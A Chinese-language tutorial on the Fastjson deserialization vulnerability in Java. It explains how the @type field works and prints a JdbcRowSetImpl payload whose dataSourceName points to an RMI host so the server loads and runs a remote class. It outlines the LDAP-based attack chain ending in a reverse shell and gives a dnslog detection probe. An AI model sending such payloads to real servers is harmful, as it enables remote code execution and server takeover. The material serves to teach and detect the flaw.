目录
一.fastjson的简述
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象
二.fastjson原理
fastjson是阿里巴巴开发的一个快速处理json格式数据的一个框架,可以将json格式反序列化为一个对象,还可以将一个对象序列化为一个json格式数据,它里面有一个字段属性,这个属性标记了反序列化类,json格式在反序列化的时候会以这个类进行反序列化,当这个类给传的是有害的(JdbcRowSetImpl),就能调用里面的属性或者方法,这时候这里有JdbcRowSetImpl类,这个类有个datasource ,如果以JdbcRowSetImpl类来进行反序列化,并且datasource给的是一个rmi://ip/exp格式数据,就会触发以rmi协议去请求远程服务器上资源,如果这个资源是恶意的,就会造成命令命令执行
首先我们需要知道什么是fastjson格式,以及他序列化的一些形式
json格式数据
一个件,一个值
{
"key1" : "张三",//键:值
"key2" : 大忽悠"
}
也可以嵌套
fastjson是将json格式反序列化为对象,还可以将一个对象序列转换为json格式数据。
json={
"name":"yy",
"age":20,
"isStudent":123,
"student":"name":"stu",age:18//student是子类哈
}
序列化后:"name":"yy","age":20,"isStudent":123,{"student":"name":"stu",age:18,}
这里有个特性就是会将student这个子类省略,这样的话,在反序列化的时候啊,他不知道name这些属性是属于student这个类,这样就会报错。fastjson为了解决这个问题,就会进行标记。
json={
字段=(student)//同过这个形式进行标记这里就是漏洞点,这里有jdbc协议调用,比如"@type":"com.sun.rowset.jdbcRowSetImpl"
"name":"yy",
"age":20,
"isStudent":123,
"student":"name":"stu",age:18//子类
}
上面就是一个抽象理解过程
下面就是具体的代码理解
{
"b":{
"@type":"com.sun.rowset.jdbcRowSetImpl",//
"dataSourceName":"rmi://dnslog.cn/aaa",//请求rmi服务器上http服务器的aaa资源
"autoCommit":true
}
}
1.@type记录了该原始类型为JdbcRowSetImpl这个类,这样就能快速定位JdbcRowSetImpl 类来进行反序列化。
- dataSourceName为属性, rmi://dnslog.cn/aaa为属性值。 这个json数据,可以让fastjson以JdbcRowSetImpl类来反序列化json数据。然后反序列化的时 候会去请求rmi服务器,地址为: dnslog.cn/aaa。然后加载aaa这个有害class文件从而造成代 码执行。
三.fastjson反序列漏洞利用条件:
1.目标服务器存在fastjson。
2.没有对用户传输的数据进行严格过滤。
四.fastjson整个的攻击步骤
这里用ldap协议
1.攻击者使用payload(携带LDAP或rmi服务器的地址)发送给web服务器,网页。
2.web服务器中引发反序列化漏洞,进行ldap远程方法调用,去连接LDAP服务器的端口。
3.LDAP服务指定加载HTTP服务器的恶意java类,所以web页面通过LDAP 服务最终加载并执行了恶意java类。
4.web服务器执行恶意Java类,获得反弹shell,控制了服务器。
五.检测
{
"a":{
"@type":"java.net.Inet4Address",//用ipv4来检测。
"val":"获取的dnslog子域名"
}
}